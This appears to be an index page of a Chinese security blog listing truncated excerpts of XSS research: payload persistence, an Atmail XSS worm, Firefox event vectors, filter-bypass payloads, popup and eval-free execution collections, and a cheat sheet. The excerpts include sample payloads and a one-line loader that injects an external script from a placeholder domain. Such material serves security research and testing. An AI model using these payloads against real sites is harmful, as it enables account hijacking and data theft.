延长 XSS 生命期 作者:EtherDream

延长 XSS 生命期   作者:EtherDream
本文转载自“乌云”因已关闭,无法奉上原文链接,请原谅。 0x00 前言 XSS 的本质仍是一段脚本。和其他文档元素一样,页面关了一切都销毁。除非能将脚本蔓延到页面以外的地方,那样才能获得更长的生命力。 庆幸的是,从 DOM 诞生的那一天起,就已为我们准备了这个特殊的功能,让脚本拥有突破当前页面的能力。 下面开始我们的续命黑魔法。 0x01 反向注入 一个不合理的标准,往...

如何在Atmail上构建XSS蠕虫

如何在Atmail上构建XSS蠕虫
测试环境: 在开始之前,我准备了一个简单的测试环境。使用以下命令发送电子邮件,将内容中的XSS测试有效内容管道传输到邮件中: 1 cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.comcat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com 然后我使用Firefox开发工具来...

Firefox 54最新可用XSS参数

Firefox 54最新可用XSS参数
Firefox 54于2017年6月13日发布。此版本中的一个重要变化是* animationcancel *事件。 从此版本开始,当动画过早中止时,CSS动画将发送* animationcancel *事件。 1 2 3 4 5 6 7 8 9 10 11 12 Example:   <style> #x{display:block} #x:target{display:none} @keyframes test {} </style>   1<span id="x" style="animation...

密码保护:基于位置的有效XSS攻击代码

密码保护:基于位置的有效XSS攻击代码
在研究的方式来逃避过滤,检测并阻止在有效载荷中的圆括号存在XSS的尝试,我来到这,将共享这一岗位及其随后的部分问题的有趣的解决方案。 值得注意的是,对被禁止字符的任何编码都不会回避过滤器。 为了实现这一点,我开始使用JavaScript文档位置属性,它使下面的原始有效负载成为可能,但还没有准备好逃避: 1 <svg/onload=location='javascript:alert(1)'><svg...

密码保护:超强绕过XSS的方法

密码保护:超强绕过XSS的方法
如XSSer(一个让XSS)可能知道,脚本标签并不总是能注入一个XSS漏洞是因为它将由开发商或一个WAF过滤后的第一件事(Web应用防火墙)。此外,输入可能仅限于几个字符,这使得在事件处理程序中不可能放置调用外部脚本所需的下列JavaScript代码,例如: 1 with(document)body.appendChild(createElement('script')).src='//DOMAIN'with(document)body.appendChild(createElemen...

HTML 5 全局属性

HTML 5 全局属性
HTML 属性能够赋予元素含义和语境。 下面的全局属性可用于任何 HTML5 元素。   HTML 5 全局属性 NEW:HTML 5 中新的全局属性。 属性 描述 accesskey             != 规定访问元素的键盘快捷键 class                      != 规定元素的类名(用于规定样式表中的类)。 contenteditable 规定是否允许用户编辑内容。 contextmenu 规定元素的上下文菜单。 d...

HTML 事件属性

HTML 事件属性
全局事件属性 HTML 4 增加了使事件在浏览器中触发动作的能力,比如当用户点击元素时启动 JavaScript。 如需学习更多有关事件编程的知识,请访问我们的 JavaScript 教程。 下面列出了添加到 HTML 元素以定义事件动作的全局事件属性。 != 非HTML5中的事件属性 Window 事件属性 针对 window 对象触发的事件(应用到 <body> 标签): 属性 值 描述 onafterprint scri...

弹窗小姿势锦集

弹窗小姿势锦集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 <script>prompt(1)</script...

xss 之 无需 eval (收集不同方法来执行字符串,无需显式调用eval()函数)

xss 之 无需 eval  (收集不同方法来执行字符串,无需显式调用eval()函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 /***********************/ /* Encoded eval string */ /***********************/ &...

密码保护:XSS Cheat Sheet

密码保护:XSS Cheat Sheet
本文有一个重点需要GET到。 Technique Vector/Payload * * In URLs: & => %26 ,  # => %23 ,  + => %2B HTML Context Tag Injection <svg onload=alert(1...